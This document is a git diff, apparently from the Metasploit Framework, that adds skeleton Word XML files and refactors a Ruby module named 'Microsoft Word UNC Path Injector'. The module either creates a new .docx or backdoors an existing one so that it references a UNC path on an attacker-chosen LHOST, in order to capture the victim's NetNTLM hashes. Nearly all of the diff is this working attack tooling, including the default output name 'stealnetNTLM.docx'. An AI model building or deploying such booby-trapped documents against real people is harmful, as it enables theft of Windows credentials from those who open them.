diff --git a/data/exploits/docx/[Content_Types].xml b/data/exploits/docx/[Content_Types].xml new file mode 100644 index 0000000000..39a9cb897f --- /dev/null +++ b/data/exploits/docx/[Content_Types].xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/_rels/.rels b/data/exploits/docx/_rels/.rels new file mode 100644 index 0000000000..fdd8c4f371 --- /dev/null +++ b/data/exploits/docx/_rels/.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/docProps/app.xml b/data/exploits/docx/docProps/app.xml new file mode 100644 index 0000000000..1580fc2d1a --- /dev/null +++ b/data/exploits/docx/docProps/app.xml @@ -0,0 +1,2 @@ + +0103Microsoft Office Outlook000falsefalse0falsefalse12.0000 diff --git a/data/exploits/docx/word/_rels/document.xml.rels b/data/exploits/docx/word/_rels/document.xml.rels new file mode 100644 index 0000000000..0079d06931 --- /dev/null +++ b/data/exploits/docx/word/_rels/document.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/document.xml b/data/exploits/docx/word/document.xml new file mode 100644 index 0000000000..81ef41e2f8 --- /dev/null +++ b/data/exploits/docx/word/document.xml @@ -0,0 +1,2 @@ + + diff --git a/data/exploits/docx/word/fontTable.xml b/data/exploits/docx/word/fontTable.xml new file mode 100644 index 0000000000..20e9a398fe --- /dev/null +++ b/data/exploits/docx/word/fontTable.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/settings.xml b/data/exploits/docx/word/settings.xml new file mode 100644 index 0000000000..4692c237a8 --- /dev/null +++ b/data/exploits/docx/word/settings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/styles.xml b/data/exploits/docx/word/styles.xml new file mode 100644 index 0000000000..4a084626fc --- /dev/null +++ b/data/exploits/docx/word/styles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/theme/theme1.xml b/data/exploits/docx/word/theme/theme1.xml new file mode 100644 index 0000000000..a06c80529b --- /dev/null +++ b/data/exploits/docx/word/theme/theme1.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/webSettings.xml b/data/exploits/docx/word/webSettings.xml new file mode 100644 index 0000000000..b4a16977f7 --- /dev/null +++ b/data/exploits/docx/word/webSettings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index 95410ef7cf..147b3dfd0b 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -6,10 +6,13 @@ ## require 'msf/core' -require 'zip/zip' +require 'zip/zip' #for extracting files +require 'rex/zip' #for creating files class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::FILEFORMAT + def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Word UNC Path Injector', @@ -22,7 +25,6 @@ class Metasploit3 < Msf::Auxiliary 2007 and 2010 as of Januari 2013 date by using auxiliary/server/capture/smb }, 'License' => MSF_LICENSE, - 'Version' => '$Revision: 1 $', 'References' => [ [ 'URL', 'http://jedicorp.com/?p=534' ], @@ -35,114 +37,123 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to','']), - OptString.new('SRCFILE', [false, '.docx file to backdoor. If left empty, creates an emtpy document', '']), - OptString.new('SKLFILENAME', [false,'Document output filename', 'stealnetNTLM.docx']), - OptPath.new('SKLOUTPUTPATH', [false, 'The location where the backdoored empty .docx file will be written','./']), - OptString.new('SKLDOCAUTHOR',[false,'Document author for skeleton document', 'SphaZ']), + OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.','']), + OptString.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document', '']), + OptString.new('FILENAME', [true, 'Document output filename.', 'stealnetNTLM.docx']), + OptString.new('DOCAUTHOR',[false,'Document author for empty document.', 'SphaZ']), ], self.class) end - - #here we create an empty .docx file with the UNC path. Only done when SRCFILE is empty + #here we create an empty .docx file with the UNC path. Only done when FILENAME is empty def makeNewFile metadataFileData = "" metadataFileData << "" - metadataFileData << "#{datastore['SKLDOCAUTHOR']}#{datastore['SKLDOCAUTHOR']}" + metadataFileData << "#{datastore['DOCAUTHOR']}#{datastore['DOCAUTHOR']}" metadataFileData << "1" metadataFileData << "2013-01-08T14:14:00Z" metadataFileData << "2013-01-08T14:14:00Z" - #Lets get the local filepath to figure out where we need to write the metadata file - metadataFileName = File.dirname(self.file_path)+'/sourcedoc/docProps/core.xml' + #where to find the skeleton files required for creating an empty document + dataDir = File.join(Msf::Config.install_root, "data", "exploits", "docx") + tmpDir = "#{Dir.tmpdir}/unc_tmp" + + #setup temporary directory structure begin - if File.exists?(metadataFileName) - vprint_status("Deleting metadatafile") - File.delete(metadataFileName) + cleanupTmp(tmpDir) + FileUtils.mkdir_p("#{tmpDir}/docProps/") + FileUtils.mkdir_p("#{tmpDir}/word/_rels/") + rescue + print_error("Error generating temp directory structure.") + return nil + end + + #here we store our on-the-fly created files + begin + f = File.open("#{tmpDir}/docProps/core.xml", 'wb') + f.write(metadataFileData) + f.close() + f = File.open("#{tmpDir}/word/_rels/settings.xml.rels", 'wb') + f.write(@relsFileData) + f.close() + rescue + print_error("Cant write to temp file.") + cleanupTmp(tmpDir) + return nil + end + + #making the actual docx + begin + docx = Rex::Zip::Archive.new + #add skeleton files + vprint_status("Adding skeleton files from #{dataDir}") + Dir["#{dataDir}/**/**"].each do |file| + if not File.directory?(file) + docx.add_file(file.sub(dataDir,''), File.read(file)) + end end - fd = File.open( metadataFileName, 'wb+' ) - fd.puts(metadataFileData) - fd.close + #add on-the-fly created documents + vprint_status("Adding injected files") + Dir["#{Dir.tmpdir}/unc_tmp/**/**"].each do |file| + if not File.directory?(file) + docx.add_file(file.sub("#{Dir.tmpdir}/unc_tmp/",''), File.read(file)) + end + end + #add the otherwise skipped "hidden" file + file = "#{dataDir}/_rels/.rels" + docx.add_file(file.sub(dataDir,''), File.read(file)) + file_create(docx.pack) rescue - print_error("Cant write to #{metadataFileName} make sure module and data are intact") + print_error("Error creating empty document #{datastore['FILENAME']}") + cleanupTmp(tmpDir) return nil end - - #now lets write the _rels file that contains the UNC path - refdataFileName = File.dirname(self.file_path) + '/sourcedoc/word/_rels/settings.xml.rels' - begin - fd = File.open( refdataFileName, 'wb+' ) - fd.puts(@relsFileData) - fd.close - rescue - print_error("Cant write to #{refdataFileName} make sure module and data are intact.") - return nil - end - - #and finally, lets creat the .docx file - inputPath = File.dirname(self.file_path) + '/sourcedoc/' - inputPath.sub!(%r[/S],'') - - archive = File.join(datastore['SKLOUTPUTPATH'], datastore['SKLFILENAME']) - #if file exists, lets not overwrite - if File.exists?(archive) - print_error("Output file #{archive} already exists! Set a different name for SKLOUTPUTPATH and/or SKLFILENAME.") - return nil - end - - if zipDocx(inputPath, archive, false).nil? - return nil - end - - begin - #delete the created xml files, the less evidence of parameters used the better - File.delete(File.dirname(self.file_path)+'/sourcedoc/docProps/core.xml') - File.delete(File.dirname(self.file_path) + '/sourcedoc/word/_rels/settings.xml.rels') - rescue - print_error("Error deleting local core and settings documents. Generating new file worked though") - end + + cleanupTmp(tmpDir) return 0 end + + #cleaning up of temporary files. If it fails we say so, but continue anyway + def cleanupTmp(dir) + begin + FileUtils.rm_rf(dir) + rescue + print_error("Error cleaning up tmp directory structure.") + end + end - #this bit checks the settings.xml and looks for the relations file entry we need for our evil masterplan. - #and then inserts the UNC path into the _rels file. + #here we inject an UNC path into an existing file, and store the injected file in FILENAME def manipulateFile + #where do we unpack our source file? + tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/" ref = "" - if File.exists?(datastore['SRCFILE']) - if File.stat(datastore['SRCFILE']).readable? and File.stat(datastore['SRCFILE']).writable? - vprint_status("We can read and write the file, this is probably a good thing :P") - else - print_error("Not enough rights to modify the file. Aborting.") + if File.exists?(datastore['SOURCE']) + if not File.stat(datastore['SOURCE']).readable? + print_error("Not enough rights to read the file. Aborting.") return nil end - fileContent = getFileFromDocx("word/settings.xml") - if fileContent.nil? + #lets extract our docx + if unzipDocx(tmpDir).nil? return nil - end + end + fileContent = File.read("#{tmpDir}/word/settings.xml") + if not fileContent.index("w:attachedTemplate r:id=\"rId1\"").nil? vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)") - #and we put just our rels file into the docx - if unzipDocx.nil? + + #we put just our rels file into the docx + if updateDocxFile(tmpDir,"word/_rels/settings.xml.rels", @relsFileData).nil? return nil end - if updateDocxFile("word/_rels/settings.xml.rels", @relsFileData).nil? - return nil - end - #ok we got through this, lets zip the file, overwriting the original in this case - begin - File.delete(datastore['SRCFILE']) - if zipDocx(@tmpDir, datastore['SRCFILE'],true).nil? - return nil - end - rescue - print_error("Can't modify the original document :(") + + # lets zip the end result + if zipDocx(tmpDir).nil? return nil end else @@ -154,166 +165,128 @@ class Metasploit3 < Msf::Auxiliary if not insertTwo.nil? vprint_status("HypenationZone found, we use this for insertion.") fileContent.insert(insertTwo, ref ) - end + end else vprint_status("DefaultTabStop found, we use this for insertion.") fileContent.insert(insertOne, ref ) - end + end if insertOne.nil? && insertTwo.nil? - vprint_error("Cannot find insert point for reference into settings.xml") + print_error("Cannot find insert point for reference into settings.xml") + cleanupTmp(tmpDir) return nil end - if unzipDocx.nil? + #lets extract our docx + if unzipDocx(tmpDir).nil? return nil end - #update the settings files - if updateDocxFile("word/settings.xml",fileContent).nil? + + #update the files that contain the injection and reference + if updateDocxFile(tmpDir, "word/settings.xml",fileContent).nil? print_error("Error inserting data into word/settings.xml") return nil end - if updateDocxFile("word/_rels/settings.xml.rels", @relsFileData).nil? + if updateDocxFile(tmpDir, "word/_rels/settings.xml.rels", @relsFileData).nil? print_error("Eror inserting data into word/_rels/settings.xml.rels") return nil end - #ok we got through this, lets zip the file, overwriting the original in this case - begin - File.delete(datastore['SRCFILE']) - if zipDocx(@tmpDir, datastore['SRCFILE'],true).nil? - return nil - end - rescue - print_error("Can't modify the original document :(") + + #lets zip the file + if zipDocx(tmpDir).nil? return nil end end else - print_error("File #{datastore['SRCFILE']} does not exist. Aborting.") + print_error("File #{datastore['SOURCE']} does not exist.") return nil end + cleanupTmp(tmpDir) return 0 end - #read a file from .docx into a string - def getFileFromDocx(fileString) + #making the actual docx + def zipDocx(tmpDir) begin - Zip::ZipFile.open(datastore['SRCFILE']) do |fileZip| - fileZip.each do |f| - next unless f.to_s == fileString - return f.get_input_stream.read + docx = Rex::Zip::Archive.new + #add skeleton files + vprint_status("Adding files from #{tmpDir}") + Dir["#{tmpDir}/**/**"].each do |file| + if not File.directory?(file) + docx.add_file(file.sub(tmpDir,''), File.read(file)) end end - fileZip.close - print_error("Cant find #{fileString} inside the .docx") - return nil + #add the otherwise skipped "hidden" file + file = "#{tmpDir}/_rels/.rels" + docx.add_file(file.sub(tmpDir,''), File.read(file)) + file_create(docx.pack) rescue - print_error("Unknown error reading docx file.") - fileZip.close + print_error("Error creating compressed document #{datastore['FILENAME']}") + cleanupTmp(tmpDir) return nil end - fileZip.close end - def zipDocx(inputPath, archive, delsource) + #unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way + def unzipDocx(tmpDir) begin - #add the prepared files to the zip file - Zip::ZipFile.open(archive, 'wb') do |fileZip| - Dir["#{inputPath}/**/**"].reject{|f|f==archive}.each do |file| - fileZip.add(file.sub(inputPath+'/',''), file) - end - relsFile = inputPath + '/_rels/.rels' - fileZip.add(relsFile.sub(inputPath+'/',''), relsFile) - end - rescue - print_error("Error zipping file..") - begin - FileUtils.rm_rf(inputPath) - rescue - print_error("Cant even clean up my own mess, I give up") - return nil - end - return nil - end - #do we delete the source? - if delsource - begin - FileUtils.rm_rf(inputPath) - rescue - print_error("Cant even clean up my own mess, I give up") - end - end - return 0 - end - - def unzipDocx - begin - vprint_status("tmpdir: #{@tmpDir}") - if not File.directory?(@tmpDir) - vprint_status("Damn rubyzip cant be relied upon, so we do it the hard way. Extracting #{datastore['SRCFILE']}") - Zip::ZipFile.open(datastore['SRCFILE']) do |fileZip| + if not File.directory?(tmpDir) + vprint_status("Damn rubyzip cant be relied upon, so we do it the hard way. Extracting #{datastore['SOURCE']}") + Zip::ZipFile.open(datastore['SOURCE']) do |fileZip| fileZip.each do |entry| - if not entry.nil? - vprint_status("extracting entry: #{entry.name}") - end - fpath = File.join(@tmpDir, entry.name) + fpath = File.join(tmpDir, entry.name) FileUtils.mkdir_p(File.dirname(fpath)) fileZip.extract(entry, fpath) end end end rescue - print_error("There was an error unzipping") + print_error("There was an error unzipping.") + cleanupTmp(tmpDir) return nil end return 0 end #used for updating the files inside the docx from a string - def updateDocxFile(fileString, content) + def updateDocxFile(tmpDir,fileString, content) begin - #ok so now we unpacked the docx file, lets start to update the file we need to do - #does the file already exist? - archive = File.join(@tmpDir, fileString) + archive = File.join(tmpDir, fileString) vprint_status("We need to look for: #{archive}") if File.exists?(archive) vprint_status("Deleting original file #{archive}") File.delete(archive) end - #now lets put OUR file there File.open(archive, 'wb+') { |f| f.write(content) } rescue Exception => ex print_error("Well, extracting and manipulating the file went wrong :(") + cleanupTmp(tmpDir) return nil end return 0 end def run - #we need this in in bot makeNewFile and manipulateFile + #we need this in makeNewFile and manipulateFile @relsFileData = "" @relsFileData << "".chomp @relsFileData << "".chomp @relsFileData << "" - #where do we unpack our file? - @tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/" - if "#{datastore['SRCFILE']}" == "" + if "#{datastore['SOURCE']}" == "" #make an empty file print_status("Creating empty document") if not makeNewFile.nil? - print_good("Success! Document #{datastore['SKLFILENAME']} created in #{datastore['SKLOUTPUTPATH']}") + print_good("Success! Empty document #{datastore['FILENAME']} created.") end else #extract the word/settings.xml and edit in the reference we need print_status("Injecting UNC path into existing document.") if not manipulateFile.nil? - print_good("Success! Document #{datastore['SRCFILE']} now references to #{datastore['LHOST']}") - else - print_error("Something went wrong!") + print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.") end end end